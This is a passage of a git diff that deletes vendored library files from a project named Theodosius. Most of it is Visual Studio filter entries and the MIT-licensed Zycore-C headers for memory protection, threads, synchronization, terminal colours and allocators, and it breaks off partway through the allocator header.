Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\core - - - Source Files\asmjit\x86 - - - Source Files\asmjit\x86 - - - Source Files\asmjit\x86 - - - Source Files\asmjit\x86 - - - Source Files\asmjit\x86 - - - Source Files\asmjit\x86 - - - Source Files\asmjit\x86 - - - Source Files\asmjit\x86 - - - Source Files\asmjit\x86 - - - Source Files\asmjit\x86 - - - Source Files\asmjit\x86 - - - Source Files - - - - - Header Files\Zydis\Generated - - - Header Files\Zydis\Generated - - - Header Files\Zydis\Generated - - - Header Files\Zydis\Generated - - - Header Files\Zydis\Generated - - - Header Files\Zydis\Internal - - - Header Files\Zydis\Internal - - - Header Files\Zydis\Internal - - - Header Files\Zydis\Internal - - - Header Files\Zydis\Internal - - - Header Files\Zydis\Internal - - - Header Files\Zydis - - - Header Files\Zydis - - - Header Files\Zydis - - - Header Files\Zydis - - - Header Files\Zydis - - - Header Files\Zydis - - - Header Files\Zydis - - - Header Files\Zydis - - - Header Files\Zydis - - - Header Files\Zydis - - - Header Files\Zydis - - - Header Files\Zydis - - - Header Files\Zycore - - - Header Files\Zycore - - - Header Files\Zycore - - - Header Files\Zycore - - - Header Files\Zycore - - - Header Files\Zycore - - - Header Files\Zycore - - - Header Files\Zycore - - - Header Files\Zycore - - - Header Files\Zycore - - - Header Files\Zycore - - - Header Files\Zycore - - - Header Files\Zycore - - - Header Files\Zycore - - - Header Files\Zycore\API - - - Header Files\Zycore\API - - - Header Files\Zycore\API - - - Header Files\Zycore\API - - - Header Files\Zycore\API - - - Header Files\Zydis - - - Header Files\Zycore - - - Header Files - - - Header Files - - - Header Files - - - Header Files\asmjit - - - Header Files\asmjit - - - Header Files\asmjit - - - Header Files\asmjit - - - Header Files\asmjit - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\core - - - Header Files\asmjit\x86 - - - Header Files\asmjit\x86 - - - Header Files\asmjit\x86 - - - Header Files\asmjit\x86 - - - Header Files\asmjit\x86 - - - Header Files\asmjit\x86 - - - Header Files\asmjit\x86 - - - Header Files\asmjit\x86 - - - Header Files\asmjit\x86 - - - Header Files\asmjit\x86 - - - Header Files\asmjit\x86 - - - Header Files\asmjit\x86 - - - Header Files\asmjit\x86 - - - Header Files\asmjit\x86 - - - Header Files\asmjit\x86 - - - Header Files\asmjit\x86 - - - Header Files - - - \ No newline at end of file diff --git a/src/Theodosius/Theodosius.vcxproj.user b/src/Theodosius/Theodosius.vcxproj.user deleted file mode 100644 index e9f3ec8..0000000 --- a/src/Theodosius/Theodosius.vcxproj.user +++ /dev/null @@ -1,13 +0,0 @@ - - - - - - WindowsLocalDebugger - - - - - WindowsLocalDebugger - - \ No newline at end of file diff --git a/src/Theodosius/Zycore/API/Memory.h b/src/Theodosius/Zycore/API/Memory.h deleted file mode 100644 index c5fa8a9..0000000 --- a/src/Theodosius/Zycore/API/Memory.h +++ /dev/null @@ -1,134 +0,0 @@ -/*************************************************************************************************** - - Zyan Core Library (Zycore-C) - - Original Author : Florian Bernd - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * @brief - */ - -#ifndef ZYCORE_API_MEMORY_H -#define ZYCORE_API_MEMORY_H - -#include -#include -#include -#include - -#if defined(ZYAN_WINDOWS) -# include -#elif defined(ZYAN_POSIX) -# include -#else -# error "Unsupported platform detected" -#endif - -/* ============================================================================================== */ -/* Enums and types */ -/* ============================================================================================== */ - -/** - * Defines the `ZyanMemoryPageProtection` enum. - */ -typedef enum ZyanMemoryPageProtection_ -{ -#if defined(ZYAN_WINDOWS) - - ZYAN_PAGE_READONLY = PAGE_READONLY, - ZYAN_PAGE_READWRITE = PAGE_READWRITE, - ZYAN_PAGE_EXECUTE = PAGE_EXECUTE, - ZYAN_PAGE_EXECUTE_READ = PAGE_EXECUTE_READ, - ZYAN_PAGE_EXECUTE_READWRITE = PAGE_EXECUTE_READWRITE - -#elif defined(ZYAN_POSIX) - - ZYAN_PAGE_READONLY = PROT_READ, - ZYAN_PAGE_READWRITE = PROT_READ | PROT_WRITE, - ZYAN_PAGE_EXECUTE = PROT_EXEC, - ZYAN_PAGE_EXECUTE_READ = PROT_EXEC | PROT_READ, - ZYAN_PAGE_EXECUTE_READWRITE = PROT_EXEC | PROT_READ | PROT_WRITE - -#endif -} ZyanMemoryPageProtection; - -/* ============================================================================================== */ -/* Exported functions */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* General */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Returns the system page size. - * - * @return The system page size. - */ -ZYCORE_EXPORT ZyanU32 ZyanMemoryGetSystemPageSize(); - -/** - * Returns the system allocation granularity. - * - * The system allocation granularity specifies the minimum amount of bytes which can be allocated - * at a specific address by a single call of `ZyanMemoryVirtualAlloc`. - * - * This value is typically 64KiB on Windows systems and equal to the page size on most POSIX - * platforms. - * - * @return The system allocation granularity. - */ -ZYCORE_EXPORT ZyanU32 ZyanMemoryGetSystemAllocationGranularity(); - -/* ---------------------------------------------------------------------------------------------- */ -/* Memory management */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Changes the memory protection value of one or more pages. - * - * @param address The start address aligned to a page boundary. - * @param size The size. - * @param protection The new page protection value. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanMemoryVirtualProtect(void* address, ZyanUSize size, - ZyanMemoryPageProtection protection); - -/** - * Releases one or more memory pages starting at the given address. - * - * @param address The start address aligned to a page boundary. - * @param size The size. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanMemoryVirtualFree(void* address, ZyanUSize size); - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ - -#endif /* ZYCORE_API_MEMORY_H */ diff --git a/src/Theodosius/Zycore/API/Process.h b/src/Theodosius/Zycore/API/Process.h deleted file mode 100644 index 0b6a5c6..0000000 --- a/src/Theodosius/Zycore/API/Process.h +++ /dev/null @@ -1,67 +0,0 @@ -/*************************************************************************************************** - - Zyan Core Library (Zycore-C) - - Original Author : Florian Bernd - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * @brief - */ - -#ifndef ZYCORE_API_PROCESS_H -#define ZYCORE_API_PROCESS_H - -#include -#include -#include - -/* ============================================================================================== */ -/* Enums and types */ -/* ============================================================================================== */ - - - -/* ============================================================================================== */ -/* Exported functions */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* General */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * @brief Flushes the process instruction cache. - * - * @param address The address. - * @param size The size. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanProcessFlushInstructionCache(void* address, ZyanUSize size); - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ - -#endif /* ZYCORE_API_PROCESS_H */ diff --git a/src/Theodosius/Zycore/API/Synchronization.h b/src/Theodosius/Zycore/API/Synchronization.h deleted file mode 100644 index 8414a44..0000000 --- a/src/Theodosius/Zycore/API/Synchronization.h +++ /dev/null @@ -1,133 +0,0 @@ -/*************************************************************************************************** - - Zyan Core Library (Zycore-C) - - Original Author : Florian Bernd - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * @brief - */ - -#ifndef ZYCORE_API_SYNCHRONIZATION_H -#define ZYCORE_API_SYNCHRONIZATION_H - -#ifndef ZYAN_NO_LIBC - -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* ============================================================================================== */ -/* Enums and types */ -/* ============================================================================================== */ - -#if defined(ZYAN_POSIX) - -#include - -/* ---------------------------------------------------------------------------------------------- */ -/* Critical Section */ -/* ---------------------------------------------------------------------------------------------- */ - -typedef pthread_mutex_t ZyanCriticalSection; - -/* ---------------------------------------------------------------------------------------------- */ - -#elif defined(ZYAN_WINDOWS) - -#include - -/* ---------------------------------------------------------------------------------------------- */ -/* Critical Section */ -/* ---------------------------------------------------------------------------------------------- */ - -typedef CRITICAL_SECTION ZyanCriticalSection; - -/* ---------------------------------------------------------------------------------------------- */ - -#else -# error "Unsupported platform detected" -#endif - -/* ============================================================================================== */ -/* Exported functions */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Critical Section */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Initializes a critical section. - * - * @param critical_section A pointer to the `ZyanCriticalSection` struct. - */ -ZYCORE_EXPORT ZyanStatus ZyanCriticalSectionInitialize(ZyanCriticalSection* critical_section); - -/** - * Enters a critical section. - * - * @param critical_section A pointer to the `ZyanCriticalSection` struct. - */ -ZYCORE_EXPORT ZyanStatus ZyanCriticalSectionEnter(ZyanCriticalSection* critical_section); - -/** - * Tries to enter a critical section. - * - * @param critical_section A pointer to the `ZyanCriticalSection` struct. - * - * @return Returns `ZYAN_TRUE` if the critical section was successfully entered or `ZYAN_FALSE`, - * if not. - */ -ZYCORE_EXPORT ZyanBool ZyanCriticalSectionTryEnter(ZyanCriticalSection* critical_section); - -/** - * Leaves a critical section. - * - * @param critical_section A pointer to the `ZyanCriticalSection` struct. - */ -ZYCORE_EXPORT ZyanStatus ZyanCriticalSectionLeave(ZyanCriticalSection* critical_section); - -/** - * Deletes a critical section. - * - * @param critical_section A pointer to the `ZyanCriticalSection` struct. - */ -ZYCORE_EXPORT ZyanStatus ZyanCriticalSectionDelete(ZyanCriticalSection* critical_section); - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif /* ZYAN_NO_LIBC */ - -#endif /* ZYCORE_API_SYNCHRONIZATION_H */ diff --git a/src/Theodosius/Zycore/API/Terminal.h b/src/Theodosius/Zycore/API/Terminal.h deleted file mode 100644 index 17dc384..0000000 --- a/src/Theodosius/Zycore/API/Terminal.h +++ /dev/null @@ -1,163 +0,0 @@ -/*************************************************************************************************** - - Zyan Core Library (Zycore-C) - - Original Author : Florian Bernd - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file Provides cross-platform terminal helper functions. - * @brief - */ - -#ifndef ZYCORE_API_TERMINAL_H -#define ZYCORE_API_TERMINAL_H - -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -#ifndef ZYAN_NO_LIBC - -/* ============================================================================================== */ -/* VT100 CSI SGR sequences */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* General */ -/* ---------------------------------------------------------------------------------------------- */ - -#define ZYAN_VT100SGR_RESET "\033[0m" - -/* ---------------------------------------------------------------------------------------------- */ -/* Foreground colors */ -/* ---------------------------------------------------------------------------------------------- */ - -#define ZYAN_VT100SGR_FG_DEFAULT "\033[39m" - -#define ZYAN_VT100SGR_FG_BLACK "\033[30m" -#define ZYAN_VT100SGR_FG_RED "\033[31m" -#define ZYAN_VT100SGR_FG_GREEN "\033[32m" -#define ZYAN_VT100SGR_FG_YELLOW "\033[33m" -#define ZYAN_VT100SGR_FG_BLUE "\033[34m" -#define ZYAN_VT100SGR_FG_MAGENTA "\033[35m" -#define ZYAN_VT100SGR_FG_CYAN "\033[36m" -#define ZYAN_VT100SGR_FG_WHITE "\033[37m" -#define ZYAN_VT100SGR_FG_BRIGHT_BLACK "\033[90m" -#define ZYAN_VT100SGR_FG_BRIGHT_RED "\033[91m" -#define ZYAN_VT100SGR_FG_BRIGHT_GREEN "\033[92m" -#define ZYAN_VT100SGR_FG_BRIGHT_YELLOW "\033[93m" -#define ZYAN_VT100SGR_FG_BRIGHT_BLUE "\033[94m" -#define ZYAN_VT100SGR_FG_BRIGHT_MAGENTA "\033[95m" -#define ZYAN_VT100SGR_FG_BRIGHT_CYAN "\033[96m" -#define ZYAN_VT100SGR_FG_BRIGHT_WHITE "\033[97m" - -/* ---------------------------------------------------------------------------------------------- */ -/* Background color */ -/* ---------------------------------------------------------------------------------------------- */ - -#define ZYAN_VT100SGR_BG_DEFAULT "\033[49m" - -#define ZYAN_VT100SGR_BG_BLACK "\033[40m" -#define ZYAN_VT100SGR_BG_RED "\033[41m" -#define ZYAN_VT100SGR_BG_GREEN "\033[42m" -#define ZYAN_VT100SGR_BG_YELLOW "\033[43m" -#define ZYAN_VT100SGR_BG_BLUE "\033[44m" -#define ZYAN_VT100SGR_BG_MAGENTA "\033[45m" -#define ZYAN_VT100SGR_BG_CYAN "\033[46m" -#define ZYAN_VT100SGR_BG_WHITE "\033[47m" -#define ZYAN_VT100SGR_BG_BRIGHT_BLACK "\033[100m" -#define ZYAN_VT100SGR_BG_BRIGHT_RED "\033[101m" -#define ZYAN_VT100SGR_BG_BRIGHT_GREEN "\033[102m" -#define ZYAN_VT100SGR_BG_BRIGHT_YELLOW "\033[103m" -#define ZYAN_VT100SGR_BG_BRIGHT_BLUE "\033[104m" -#define ZYAN_VT100SGR_BG_BRIGHT_MAGENTA "\033[105m" -#define ZYAN_VT100SGR_BG_BRIGHT_CYAN "\033[106m" -#define ZYAN_VT100SGR_BG_BRIGHT_WHITE "\033[107m" - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ -/* Enums and types */ -/* ============================================================================================== */ - -/** - * Declares the `ZyanStandardStream` enum. - */ -typedef enum ZyanStandardStream_ -{ - /** - * The default input stream. - */ - ZYAN_STDSTREAM_IN, - /** - * The default output stream. - */ - ZYAN_STDSTREAM_OUT, - /** - * The default error stream. - */ - ZYAN_STDSTREAM_ERR -} ZyanStandardStream; - -/* ============================================================================================== */ -/* Exported functions */ -/* ============================================================================================== */ - -/** - * Enables VT100 ansi escape codes for the given stream. - * - * @param stream Either `ZYAN_STDSTREAM_OUT` or `ZYAN_STDSTREAM_ERR`. - * - * @return A zyan status code. - * - * This functions returns `ZYAN_STATUS_SUCCESS` on all non-Windows systems without performing any - * operations, assuming that VT100 is supported by default. - * - * On Windows systems, VT100 functionality is only supported on Windows 10 build 1607 (anniversary - * update) and later. - */ -ZYCORE_EXPORT ZyanStatus ZyanTerminalEnableVT100(ZyanStandardStream stream); - -/** - * Checks, if the given standard stream reads from or writes to a terminal. - * - * @param stream The standard stream to check. - * - * @return `ZYAN_STATUS_TRUE`, if the stream is bound to a terminal, `ZYAN_STATUS_FALSE` if not, - * or another zyan status code if an error occured. - */ -ZYCORE_EXPORT ZyanStatus ZyanTerminalIsTTY(ZyanStandardStream stream); - -/* ============================================================================================== */ - -#endif // ZYAN_NO_LIBC - -#ifdef __cplusplus -} -#endif - -#endif /* ZYCORE_API_TERMINAL_H */ diff --git a/src/Theodosius/Zycore/API/Thread.h b/src/Theodosius/Zycore/API/Thread.h deleted file mode 100644 index b1ec085..0000000 --- a/src/Theodosius/Zycore/API/Thread.h +++ /dev/null @@ -1,244 +0,0 @@ -/*************************************************************************************************** - - Zyan Core Library (Zycore-C) - - Original Author : Florian Bernd - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * @brief - */ - -#ifndef ZYCORE_API_THREAD_H -#define ZYCORE_API_THREAD_H - -#ifndef ZYAN_NO_LIBC - -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* ============================================================================================== */ -/* Enums and types */ -/* ============================================================================================== */ - -#if defined(ZYAN_POSIX) - -#include - -/* ---------------------------------------------------------------------------------------------- */ -/* General */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZyanThread` data-type. - */ -typedef pthread_t ZyanThread; - -/** - * Defines the `ZyanThreadId` data-type. - */ -typedef ZyanU64 ZyanThreadId; - -/* ---------------------------------------------------------------------------------------------- */ -/* Thread Local Storage (TLS) */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZyanThreadTlsIndex` data-type. - */ -typedef pthread_key_t ZyanThreadTlsIndex; - -/** - * Defines the `ZyanThreadTlsCallback` function prototype. - */ -typedef void(*ZyanThreadTlsCallback)(void* data); - -/** - * Declares a Thread Local Storage (TLS) callback function. - * - * @param name The callback function name. - * @param param_type The callback data parameter type. - * @param param_name The callback data parameter name. - */ -#define ZYAN_THREAD_DECLARE_TLS_CALLBACK(name, param_type, param_name) \ - void name(param_type* param_name) - -/* ---------------------------------------------------------------------------------------------- */ - -#elif defined(ZYAN_WINDOWS) - -#include - -/* ---------------------------------------------------------------------------------------------- */ -/* General */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZyanThread` data-type. - */ -typedef HANDLE ZyanThread; - -/** - * Defines the `ZyanThreadId` data-type. - */ -typedef DWORD ZyanThreadId; - -/* ---------------------------------------------------------------------------------------------- */ -/* Thread Local Storage (TLS) */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZyanThreadTlsIndex` data-type. - */ -typedef DWORD ZyanThreadTlsIndex; - -/** - * Defines the `ZyanThreadTlsCallback` function prototype. - */ -typedef PFLS_CALLBACK_FUNCTION ZyanThreadTlsCallback; - -/** - * Declares a Thread Local Storage (TLS) callback function. - * - * @param name The callback function name. - * @param param_type The callback data parameter type. - * @param param_name The callback data parameter name. - */ -#define ZYAN_THREAD_DECLARE_TLS_CALLBACK(name, param_type, param_name) \ - VOID NTAPI name(param_type* param_name) - -/* ---------------------------------------------------------------------------------------------- */ - -#else -# error "Unsupported platform detected" -#endif - -/* ============================================================================================== */ -/* Exported functions */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* General */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Returns the handle of the current thread. - * - * @param thread Receives the handle of the current thread. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanThreadGetCurrentThread(ZyanThread* thread); - -/** - * Returns the unique id of the current thread. - * - * @param thread_id Receives the unique id of the current thread. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanThreadGetCurrentThreadId(ZyanThreadId* thread_id); - -/* ---------------------------------------------------------------------------------------------- */ -/* Thread Local Storage (TLS) */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Allocates a new Thread Local Storage (TLS) slot. - * - * @param index Receives the TLS slot index. - * @param destructor A pointer to a destructor callback which is invoked to finalize the data - * in the TLS slot or `ZYAN_NULL`, if not needed. - * - * The maximum available number of TLS slots is implementation specific and different on each - * platform: - * - Windows - * - A total amount of 128 slots per process are guaranteed - * - POSIX - * - A total amount of 128 slots per process are guaranteed - * - Some systems guarantee larger amounts like e.g. 1024 slots per process - * - * Note that the invocation rules for the destructor callback are implementation specific and - * different on each platform: - * - Windows - * - The callback is invoked when a thread exits - * - The callback is invoked when the process exits - * - The callback is invoked when the TLS slot is released - * - POSIX - * - The callback is invoked when a thread exits and the stored value is not null - * - The callback is NOT invoked when the process exits - * - The callback is NOT invoked when the TLS slot is released - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanThreadTlsAlloc(ZyanThreadTlsIndex* index, - ZyanThreadTlsCallback destructor); - -/** - * Releases a Thread Local Storage (TLS) slot. - * - * @param index The TLS slot index. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanThreadTlsFree(ZyanThreadTlsIndex index); - -/** - * Returns the value inside the given Thread Local Storage (TLS) slot for the - * calling thread. - * - * @param index The TLS slot index. - * @param data Receives the value inside the given Thread Local Storage - * (TLS) slot for the calling thread. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanThreadTlsGetValue(ZyanThreadTlsIndex index, void** data); - -/** - * Set the value of the given Thread Local Storage (TLS) slot for the calling thread. - * - * @param index The TLS slot index. - * @param data The value to store inside the given Thread Local Storage (TLS) slot for the - * calling thread - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanThreadTlsSetValue(ZyanThreadTlsIndex index, void* data); - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif /* ZYAN_NO_LIBC */ - -#endif /* ZYCORE_API_THREAD_H */ diff --git a/src/Theodosius/Zycore/Allocator.h b/src/Theodosius/Zycore/Allocator.h deleted file mode 100644 index 6435171..0000000 --- a/src/Theodosius/Zycore/Allocator.h +++ /dev/null @@ -1,143 +0,0 @@ -/*************************************************************************************************** - - Zyan Core Library (Zycore-C) - - Original Author : Florian Bernd - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * @brief - */ - -#ifndef ZYCORE_ALLOCATOR_H -#define ZYCORE_ALLOCATOR_H - -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* ============================================================================================== */ -/* Enums and types */ -/* ============================================================================================== */ - -struct ZyanAllocator_; - -/** - * Defines the `ZyanAllocatorAllocate` function prototype. - * - * @param allocator A pointer to the `ZyanAllocator` instance. - * @param p Receives a pointer to the first memory block sufficient to hold an - * array of `n` elements with a size of `element_size`. - * @param element_size The size of a single element. - * @param n The number of elements to allocate storage for. - * - * @return A zyan status code. - * - * This prototype is used for the `allocate()` and `reallocate()` functions. - * - * The result of the `reallocate()` function is undefined, if `p` does not point to a memory block - * previously obtained by `(re-)allocate()`. - */ -typedef ZyanStatus (*ZyanAllocatorAllocate)(struct ZyanAllocator_* allocator, void** p, - ZyanUSize element_size, ZyanUSize n); - -/** - * Defines the `ZyanAllocatorDeallocate` function prototype. - * - * @param allocator A pointer to the `ZyanAllocator` instance. - * @param p The pointer obtained from `(re-)allocate()`. - * @param element_size The size of a single element. - * @param n The number of elements earlier passed to `(re-)allocate()`. - * - * @return A zyan status code. - */ -typedef ZyanStatus (*ZyanAllocatorDeallocate)(struct ZyanAllocator_* allocator, void* p, - ZyanUSize element_size, ZyanUSize n); - -/** - * Defines the `ZyanAllocator` struct. - * - * This is the base class for all custom allocator implementations. - * - * All fields in this struct should be considered as "private". Any changes may lead to unexpected - * behavior. - */ -typedef struct ZyanAllocator_ -{ - /** - * The allocate function. - */ - ZyanAllocatorAllocate allocate; - /** - * The reallocate function. - */ - ZyanAllocatorAllocate reallocate; - /** - * The deallocate function. - */ - ZyanAllocatorDeallocate deallocate; 